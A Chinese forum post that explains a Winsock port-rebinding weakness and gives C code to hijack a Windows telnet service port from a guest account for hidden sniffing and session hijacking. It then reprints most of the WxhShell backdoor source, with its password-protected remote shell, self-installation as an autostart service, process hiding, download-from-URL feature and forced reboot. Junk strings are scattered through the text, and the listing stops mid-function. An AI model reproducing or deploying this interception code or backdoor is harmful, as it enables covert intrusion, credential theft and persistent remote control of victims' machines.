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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :+n7oOV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6 ?cV1:jh  
^m\n[<x^  
  saddr.sin_family = AF_INET; -v] 0@jNe  
8~7EWl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X.Kxio $o  
@VFg XN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y|ZJ-[qg  
;F5%X\ t-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6}0#({s:R  
WqAP'x 1  
  这意味着什么?意味着可以进行如下的攻击: SBA;p7^"  
E#OKeMK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z1zC@z4sUj  
}|;n[+}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }T6jQ:?@  
BDA\9m^3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @ggM5mm  
tW +I?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X$<?:f-  
R?k1)n   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <e"2<qVi  
XOoND  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gi8kYHldH  
}-kb"\X%g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x<].mx  
7)YU ;  
  #include EC7o 3LoND  
  #include ;a|A1DmZ  
  #include -95 `.o  
  #include    'ga@=;Wj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f7L|Jc  
  int main() Xc.~6nYp  
  { +VfJ: [q  
  WORD wVersionRequested; %u#pl=k}  
  DWORD ret; &c'unKH  
  WSADATA wsaData; lVt gg?  
  BOOL val; 6YN4]  
  SOCKADDR_IN saddr; Sx}h$E:  
  SOCKADDR_IN scaddr; `8Gwf;P1  
  int err; [Gu]p&  
  SOCKET s; =i.[|g"  
  SOCKET sc; GlaWBF#  
  int caddsize; \J6T:jeS,  
  HANDLE mt; X~x]VKr/  
  DWORD tid;   <[*s%9)'9  
  wVersionRequested = MAKEWORD( 2, 2 ); b`IC)xN$  
  err = WSAStartup( wVersionRequested, &wsaData ); b]Jh0B~Y  
  if ( err != 0 ) { YVzK$k'3U  
  printf("error!WSAStartup failed!\n"); -?ip?[Z  
  return -1; 5p750`n  
  } {3?g8e]zr  
  saddr.sin_family = AF_INET; E: %%Dm  
   A%Ao yy4E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OLv(  
edm&,ph]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /OZF3Pft  
  saddr.sin_port = htons(23); c~cYNW:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?x:\RNB/  
  { _A(J^;?  
  printf("error!socket failed!\n"); tFRWxy[5  
  return -1; P5Fm<f8\  
  } 3Z`oI#-x  
  val = TRUE; 4Hu.o7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p B )nQ5l'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6(wpf^br2  
  { 1iz\8R:0  
  printf("error!setsockopt failed!\n"); 2o,%O91p  
  return -1; ^<< Wqmx  
  } ^LZU><{';  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \KG{ 11  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z19y>j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +* &!u=%G  
\2T@]!n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X(/W|RY{@  
  { % Dya-  
  ret=GetLastError(); K }r%OOn0  
  printf("error!bind failed!\n"); Ek84yme#  
  return -1; X)Kd'6zg  
  } -~jM=f$  
  listen(s,2); S\Q/ "Y  
  while(1) g5H+2lSC  
  { M6?*\ 9E  
  caddsize = sizeof(scaddr); !X8:#a(  
  //接受连接请求 "g0L n5&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w+Ag!O}.L  
  if(sc!=INVALID_SOCKET) pbu8Ib8z  
  { |n0 )s% 8`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {BgGG@e  
  if(mt==NULL) m'Wz0b^BO  
  { 8c#u"qF  
  printf("Thread Creat Failed!\n"); ybfNG@N*  
  break; &B[$l`1  
  } 2mI=V.X[&  
  } 9c<lFZb;  
  CloseHandle(mt); bd9]'  
  } D\>CEBt  
  closesocket(s); \4mw>8wA  
  WSACleanup(); sz_|py?0  
  return 0; `_<K#AGAi  
  }   V\Rbnvq  
  DWORD WINAPI ClientThread(LPVOID lpParam) >0{{ loqq  
  { T-eeYw?Yf  
  SOCKET ss = (SOCKET)lpParam; Cdc6<8  
  SOCKET sc; \6*3&p  
  unsigned char buf[4096]; nx=Zl:Q}  
  SOCKADDR_IN saddr; u=A&n6Q[Vo  
  long num; MAhcwmZNy  
  DWORD val; \DpXs[1  
  DWORD ret; 8hGp?Ihu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <kt,aMw[*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (eSa{C\  
  saddr.sin_family = AF_INET; Rj1Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cs,%Zk.xjw  
  saddr.sin_port = htons(23); F+|zCEc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CpO!xj +  
  { Wn<3|`c  
  printf("error!socket failed!\n"); ,qyH B2v  
  return -1; dtr8u  
  } 9)'L,Xt4:T  
  val = 100; m8fxDepFA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UV$v:>K#  
  { lQY?!oj&q  
  ret = GetLastError(); 5nQ*%u\$Z  
  return -1; Ar N*9  
  } a6fMx~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6;k#|-GU&  
  { hC=9%u{r?  
  ret = GetLastError(); V07e29w  
  return -1; BJ wPSKL  
  } t=Tu-2,k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6*le(^y`  
  { )k{zRq:d  
  printf("error!socket connect failed!\n"); #toKT_  
  closesocket(sc); 1 @tVfn}  
  closesocket(ss); nJNdq`y2  
  return -1; T dlF~ca|  
  } Oe5=2~4O  
  while(1) 1@im+R?a  
  { ?dY}xE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9U^jsb<St>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aj85vON1`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x/ lW=EQ  
  num = recv(ss,buf,4096,0); XzIhFX6  
  if(num>0) G BV]7.  
  send(sc,buf,num,0); tgKmC I  
  else if(num==0) ,~p'p)  
  break; +eg$Z]Lht  
  num = recv(sc,buf,4096,0); 8lh{ R  
  if(num>0) -=I*{dzly  
  send(ss,buf,num,0); G$<FQDvs  
  else if(num==0) p eQD]v  
  break; Tj$D:xKf)  
  } 2'$p(  
  closesocket(ss); zVFz}kJa  
  closesocket(sc); UB|f{7~&  
  return 0 ; a`|&rggN  
  } J.N%=-8  
J*IC&jH:  
VnAJOR7lrx  
========================================================== tT>~;l%'  
18jI6$DY  
下边附上一个代码,,WXhSHELL 7;ZSeQ yC  
9l5l"Wj&  
========================================================== ^(r?k_i/  
L&H 4fy!>  
#include "stdafx.h" |f# ~#Y2v  
RBd{1on  
#include <stdio.h> a=>PGriL  
#include <string.h> Ew~piuj  
#include <windows.h> ,Y6Me+5B  
#include <winsock2.h> Ii_X^)IL(  
#include <winsvc.h> fH-V!QYGF  
#include <urlmon.h> TL lR"L5  
#8H  
#pragma comment (lib, "Ws2_32.lib") Ze[ezu  
#pragma comment (lib, "urlmon.lib") (sSMH6iCif  
why;1z>V  
#define MAX_USER   100 // 最大客户端连接数 sN.h>bd  
#define BUF_SOCK   200 // sock buffer 4 IuQQ  
#define KEY_BUFF   255 // 输入 buffer C(qqGK{  
uU=O0?'zq  
#define REBOOT     0   // 重启 tQ=M=BPZ  
#define SHUTDOWN   1   // 关机 l$=Y(Xk  
Q5b~5a  
#define DEF_PORT   5000 // 监听端口 </(bwc~2  
C%}}~Y  
#define REG_LEN     16   // 注册表键长度 ?]+{2&&$  
#define SVC_LEN     80   // NT服务名长度 -*t4(wT|j  
AX! YB'm-  
// 从dll定义API Uax[Zh[Cg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~vgm; O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `],'fT|,S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &>y[5#qOl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r*'a-2A u  
H}5zKv.T  
// wxhshell配置信息 k\rzvo=U  
struct WSCFG { Rl@k~;VV  
  int ws_port;         // 监听端口 Pi7vuOJr8  
  char ws_passstr[REG_LEN]; // 口令 pV bgjJI  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?UuJk  
  char ws_regname[REG_LEN]; // 注册表键名 cD5c&+,&I  
  char ws_svcname[REG_LEN]; // 服务名 (lBgW z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ASME~]]?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :d\ne  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7/%{7q3G>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oju)8H1o#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qP@d)XRQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4 qMO@E_  
IMjz#|c  
}; #Ux*":  
%5.aC|^}  
// default Wxhshell configuration t ' _Au8  
struct WSCFG wscfg={DEF_PORT, $J}d6%   
    "xuhuanlingzhe", xLhN3#^m  
    1,  &0! f_  
    "Wxhshell", 4Rj;lAlwB  
    "Wxhshell", ,5`pe%W7  
            "WxhShell Service", KKpO<TO  
    "Wrsky Windows CmdShell Service", @=4K%SCw  
    "Please Input Your Password: ", Rrh?0qWs  
  1, \l)<NZ\  
  "http://www.wrsky.com/wxhshell.exe", ODa+s>a`^  
  "Wxhshell.exe" [^sv.  
    }; X-,scm  
3{OY&   
// 消息定义模块 H 6 i4>U*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L7oLV?k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jzCSxuZ7O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2 |lm'Hf  
char *msg_ws_ext="\n\rExit."; U,Py+c6  
char *msg_ws_end="\n\rQuit."; Teq1VK3Hr  
char *msg_ws_boot="\n\rReboot..."; GPP{"6q5'  
char *msg_ws_poff="\n\rShutdown..."; w;@DcX$]  
char *msg_ws_down="\n\rSave to "; pd2Lc $O@  
n-iy;L^b  
char *msg_ws_err="\n\rErr!"; bV|(V>  
char *msg_ws_ok="\n\rOK!"; oj\av~cI  
4JF)w;X}  
char ExeFile[MAX_PATH]; mHcxK@qw  
int nUser = 0; ?z,^QjQ}  
HANDLE handles[MAX_USER]; IRy!8A=X  
int OsIsNt; K6"#&0  
7u8HcHl  
SERVICE_STATUS       serviceStatus; c *<"&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 44;ZX$HL  
` O;+N"v  
// 函数声明 9gFb=&1k  
int Install(void); pdCn98}%-  
int Uninstall(void); i=67  
int DownloadFile(char *sURL, SOCKET wsh); 7g@P$e]  
int Boot(int flag); 2ZHeOKJ-  
void HideProc(void); 3u]#Ra~5  
int GetOsVer(void); \Y;LbB8D  
int Wxhshell(SOCKET wsl); s>y=-7:N  
void TalkWithClient(void *cs); AL*P 2\8  
int CmdShell(SOCKET sock); ':al4m"  
int StartFromService(void); kT|{5Kn&s  
int StartWxhshell(LPSTR lpCmdLine); zdY+?s)p  
0a<:.}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _m3}0q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ch2Qk8  
H(f~B<7q  
// 数据结构和表定义 rzmd`)g  
SERVICE_TABLE_ENTRY DispatchTable[] = (pY'v /a-  
{ w#V{'{DKp  
{wscfg.ws_svcname, NTServiceMain}, nT UKA  
{NULL, NULL} )nJo\HFXv  
}; % H"A%  
1O" Mo  
// 自我安装 +)8,$1[p|  
int Install(void) jY^wqQls  
{ 88c-K{} 3  
  char svExeFile[MAX_PATH]; 2 de[ yz  
  HKEY key; 3a#X:?  
  strcpy(svExeFile,ExeFile); fwvPh&U&  
&n:3n  
// 如果是win9x系统,修改注册表设为自启动 r2:n wlG  
if(!OsIsNt) { Ec !fx\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8)I,WWj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UuDT=_1Sh  
  RegCloseKey(key); m(Hb! RT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( `V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f n]rMH4>  
  RegCloseKey(key); fAx7_}k/ m  
  return 0; "&jWC  
    } ;qM I3wF  
  } w7n6@"q  
} M9mC\Iz[  
else { M7D@Uj&xx(  
]7H ?  
// 如果是NT以上系统,安装为系统服务 &S\q*H=}i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @WcK<Qho  
if (schSCManager!=0) (W*~3/@D  
{ z\iz6-\&y  
  SC_HANDLE schService = CreateService Z+jgFl 4  
  ( [Yt!uhww  
  schSCManager, ?$ rSbw  
  wscfg.ws_svcname, w-~u[c  
  wscfg.ws_svcdisp, 2^-Z17Z}  
  SERVICE_ALL_ACCESS, @S#>:o|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hVvPI1[2  
  SERVICE_AUTO_START, Z<7FF}i  
  SERVICE_ERROR_NORMAL, j@OGl&'^-  
  svExeFile, f<!3vAh  
  NULL, fBgW0o.Bu  
  NULL, ^T}6o Ud  
  NULL, FmU>q)  
  NULL, 8u+FWbOl]  
  NULL iTb k]$  
  ); wSrq?U5q  
  if (schService!=0)  VlGg?  
  { zj G>=2  
  CloseServiceHandle(schService); We^! (G  
  CloseServiceHandle(schSCManager); dV{N,;z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M>Y ge~3  
  strcat(svExeFile,wscfg.ws_svcname); :H}a/ x*ur  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D9OI ",h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "wk~[>  
  RegCloseKey(key); `1I@tz|  
  return 0; &[]0yNG  
    } Q/e$Ttt4J  
  } OKDBzl  
  CloseServiceHandle(schSCManager); Vq7L:,N9  
} &r0b~RwUv  
} ~N</;{}fL4  
L%D:gy9o  
return 1; eBZ^YY<*g  
} hdFIriE3  
m%8idjnG  
// 自我卸载 -#yLH  
int Uninstall(void) eK }AVz}k  
{ &<{=  
  HKEY key; YuO-a$BP  
}=kf52Am,}  
if(!OsIsNt) { SG6@Rn*^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D@[Mk"f  
  RegDeleteValue(key,wscfg.ws_regname); _O!)aD  
  RegCloseKey(key); xRZ9.Agv_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]?<j]u0J  
  RegDeleteValue(key,wscfg.ws_regname); .A;D-"!  
  RegCloseKey(key); Z,'#=K  
  return 0; 8"2 Y$*)(  
  } nF0V`O \T  
} b >R/=tx  
} D;@*  
else { zu6Y*{$>g  
 T~I5W=y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =ytB\e  
if (schSCManager!=0) '\[o>n2  
{ kNX"Vo]1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :*GLLjS;  
  if (schService!=0) igNZe."V  
  { 2i+'?.P  
  if(DeleteService(schService)!=0) { &<</[h/B/F  
  CloseServiceHandle(schService); ~T<yp  
  CloseServiceHandle(schSCManager); Aj`zT'  
  return 0; kj(Ko{  
  } INQ0h`T  
  CloseServiceHandle(schService); EYc, "'  
  } "tu BfA+f  
  CloseServiceHandle(schSCManager); R-Y|;  
} A?{ X5` y  
} /|{Yot e  
:r^c_Ui  
return 1; =*Z=My}3~  
} WBS~e  
>YPC &@9   
// 从指定url下载文件 G\8ps ~3T  
int DownloadFile(char *sURL, SOCKET wsh) OoKzPePWji  
{ d/>owCwQ  
  HRESULT hr; QN=a{  
char seps[]= "/"; &h=O;?dO  
char *token; #NZ\UmA  
char *file; "e WN5 2  
char myURL[MAX_PATH]; a`.] 8Jy)  
char myFILE[MAX_PATH]; \I r&&%  
y~)rZ-eSB  
strcpy(myURL,sURL); Eq>3|(UT  
  token=strtok(myURL,seps); w_30g6tA  
  while(token!=NULL) 7I~Ww{  
  { n-m+@jRz  
    file=token; nZ?BC O  
  token=strtok(NULL,seps); { 3=\x  
  } MB42 3{j  
_%G)Uz{3  
GetCurrentDirectory(MAX_PATH,myFILE); # 4E@y<l$  
strcat(myFILE, "\\"); "bFt+N  
strcat(myFILE, file); HJl$v#]#+  
  send(wsh,myFILE,strlen(myFILE),0); T( @y#09  
send(wsh,"...",3,0); (P;z* "q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =ogzq.+|  
  if(hr==S_OK) .k5 TQt  
return 0; }V.Wp6"S   
else ZA@QP1  
return 1; b&.j>=  
!a&@y#x  
} V|.3Z\(  
d4c-(ZRl  
// 系统电源模块 Lq@pJ)a  
int Boot(int flag) p8<Y5:`  
{ G)28#aH  
  HANDLE hToken; $YvT* T$_  
  TOKEN_PRIVILEGES tkp; 8zew8I~s  
G%N/]]ll  
  if(OsIsNt) { BXgAohg!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J{$+\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +RexQE  
    tkp.PrivilegeCount = 1; x2B~1edf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sbub|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #W#GI"K  
if(flag==REBOOT) { O_8ERxj g]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aVv$k  
  return 0; X E]YKJ?|k  
} $Xf1|!W%a%  
else { 6x KbK1W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }>vf(9sF`  
  return 0; et";*EZJX  
} ,<$6-3sC-  
  } ;2"#X2B  
  else { A:Z$i5%'  
if(flag==REBOOT) { 3ThCY`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7 }`c:u~j  
  return 0; loVUB'OSv  
} [Af&K22M(X  
else { &wRdUIc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G1MuH%4  
  return 0; Z&W|O>QTl  
} mIVnc`3s  
} P<b.;Oz__-  
)'8DK$.  
return 1; ,)mqd2)+"  
} 6|U0"C#]  
t ?8 ?Ok  
// win9x进程隐藏模块 dj*%^cI  
void HideProc(void) }IvJIr  
{ ;\7TQ9z  
)&di c6r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zI/)#^SQ  
  if ( hKernel != NULL ) p2}$S@GD  
  { <,qJ% kc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dzDh V{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I}/o`oc  
    FreeLibrary(hKernel); G v[W)+3f  
  } 'Im7^!-d  
PbOLN$hP  
return; Iu6KW:x  
} "'H$YhY]  
Ju$=Tn  
// 获取操作系统版本 `Z]Tp1U  
int GetOsVer(void) [^r0red  
{ iorKS+w"  
  OSVERSIONINFO winfo; " 6 /`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0S@O]k)  
  GetVersionEx(&winfo); d;&'uiS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P_+S;(QQ~d  
  return 1; 24{!j[,q@  
  else f !t2a//  
  return 0; ty]JUvR@  
} \Ku=a{Ne  
bHcb+TR3  
// 客户端句柄模块 b u%p,u!  
int Wxhshell(SOCKET wsl) xkR--/f  
{ "- xm+7  
  SOCKET wsh; r{qM!(T  
  struct sockaddr_in client; SeAokz>  
  DWORD myID; uEQH6~\{Nl  
I@P[}XS  
  while(nUser<MAX_USER) kzr9-$eb  
{ :@w ;no>=*  
  int nSize=sizeof(client); 21GjRPs\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,c"_X8Fkx$  
  if(wsh==INVALID_SOCKET) return 1; QytqO {B^  
~k+"!'1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P0U=lj/ b  
if(handles[nUser]==0) x8%Q TTY  
  closesocket(wsh); }xTTz,Oj$  
else |33pf7o  
  nUser++; j>~^jz:  
  } uy\< t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T/G1v;]  
P\;lH"9  
  return 0; B&A4-w v  
} [dFxW6n  
XOzPi*V**  
// 关闭 socket P8!Vcy938  
void CloseIt(SOCKET wsh)  g#~jF  
{ +]H9:ARI  
closesocket(wsh); +U&aK dQs  
nUser--; ?H1I,]Di  
ExitThread(0); h!56?4,%Y  
} dA> t  
e:{v.C0ez  
// 客户端请求句柄 .$)'7  
void TalkWithClient(void *cs) #C,M8~Q7  
{ 4xhV +Y  
I=l() ET=  
  SOCKET wsh=(SOCKET)cs; 6gwjrGje\  
  char pwd[SVC_LEN]; {55{ YDqx  
  char cmd[KEY_BUFF]; )c5 M;/s  
char chr[1]; 6XUcJ0  
int i,j; $s.:wc^  
9Q- /Yh  
  while (nUser < MAX_USER) { 3 D,PbAd  
J]i=SX+ 9  
if(wscfg.ws_passstr) { cv;&ff2%?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4]nU%`Z1w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <.( IJ  
  //ZeroMemory(pwd,KEY_BUFF); Yo;/7gG>  
      i=0; t,= ta{ a  
  while(i<SVC_LEN) {  Z_F:H@-&  
.:Bjs*  
  // 设置超时 wl2rw93  
  fd_set FdRead; /A\'_a|  
  struct timeval TimeOut; /S1EQ%_  
  FD_ZERO(&FdRead); r<V]MwO=  
  FD_SET(wsh,&FdRead); > C{^{?~u  
  TimeOut.tv_sec=8; mbv\Gn#>  
  TimeOut.tv_usec=0; ,@%1q)S?A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ei Wy`H;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @/H1}pM~  
Je2o('MA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *X\i= K!  
  pwd=chr[0]; 1i#uKKwE  
  if(chr[0]==0xd || chr[0]==0xa) { :s+AIo6  
  pwd=0; rxCEOG  
  break; jV8mn{<  
  } +`9 ]L]J]4  
  i++; JV(eHuw  
    } g 'c4&Do  
#)q}Jw4]j  
  // 如果是非法用户,关闭 socket _CAW D;P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tY !fO>Fn~  
} ~1wAk0G`n  
OGg9e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Htl6Mr*{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^DXERt&3  
}$#e&&)n  
while(1) { +mhYr]Z  
J}EQ_FC"$  
  ZeroMemory(cmd,KEY_BUFF); { ,.1KtrSN  
|M#b`g$JO,  
      // 自动支持客户端 telnet标准   iN+Dmq5  
  j=0; LP_d}ve  
  while(j<KEY_BUFF) { i0{pm q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Rohf WHX  
  cmd[j]=chr[0]; l"RX`N@In  
  if(chr[0]==0xa || chr[0]==0xd) { H`]nY`HYg  
  cmd[j]=0; hJ.XG<?]$  
  break; |;'V":yDs  
  } YNc%[S[u^1  
  j++; ?|TVz!3  
    } En8-Hc#NC  
qqT6C%Q`kG  
  // 下载文件 Jx1oK  
  if(strstr(cmd,"http://")) { 6[wej$ u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~[Mk QJxe  
  if(DownloadFile(cmd,wsh)) (ZQ{%-i?qR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]8ua>1XS  
  else j+]>x]c0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _o~<f)E[9  
  } <8Nh dCO6  
  else { }|H]>U&  
(`GO@  
    switch(cmd[0]) { "6^tG[G%  
  ,& =(DJ  
  // 帮助 M|?qSFv:  
  case '?': { (FbqKx'uq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8U0y86q>)E  
    break; AOWX=`J8V  
  } d~C YZ  
  // 安装 R!W!8rr3  
  case 'i': { gSEj/?  
    if(Install()) 0`"]mYH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6g8{;6x  
    else sn_]7d+ Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YKf,vHau  
    break; T({:Y. A;  
    } /u!I2DF  
  // 卸载 ,d)!&y  
  case 'r': { _ot4HmD  
    if(Uninstall()) h|yv*1/|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G^p>fy~  
    else Xw`vf7z*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @cAv8i K  
    break; {,*G }/9<  
    } ;nji<  
  // 显示 wxhshell 所在路径 !EF~I8d\]  
  case 'p': { go m< V?$  
    char svExeFile[MAX_PATH]; Dk&cIZ43  
    strcpy(svExeFile,"\n\r"); );@Dr!H  
      strcat(svExeFile,ExeFile); E:4`x_~qQ  
        send(wsh,svExeFile,strlen(svExeFile),0); ~Lhq7;=H?O  
    break; ~l}rYi>g%  
    } yY4*/w7*j4  
  // 重启 lDe9(5|)Q  
  case 'b': { tq}sXt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ( Z\OqG  
    if(Boot(REBOOT)) 5,I'6$J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Z+w\0}@  
    else { %lbSV}V)  
    closesocket(wsh);  IKKd  
    ExitThread(0); Z*.fSmT8)  
    } R3d>|`) +  
    break; yX$I<L<Suz  
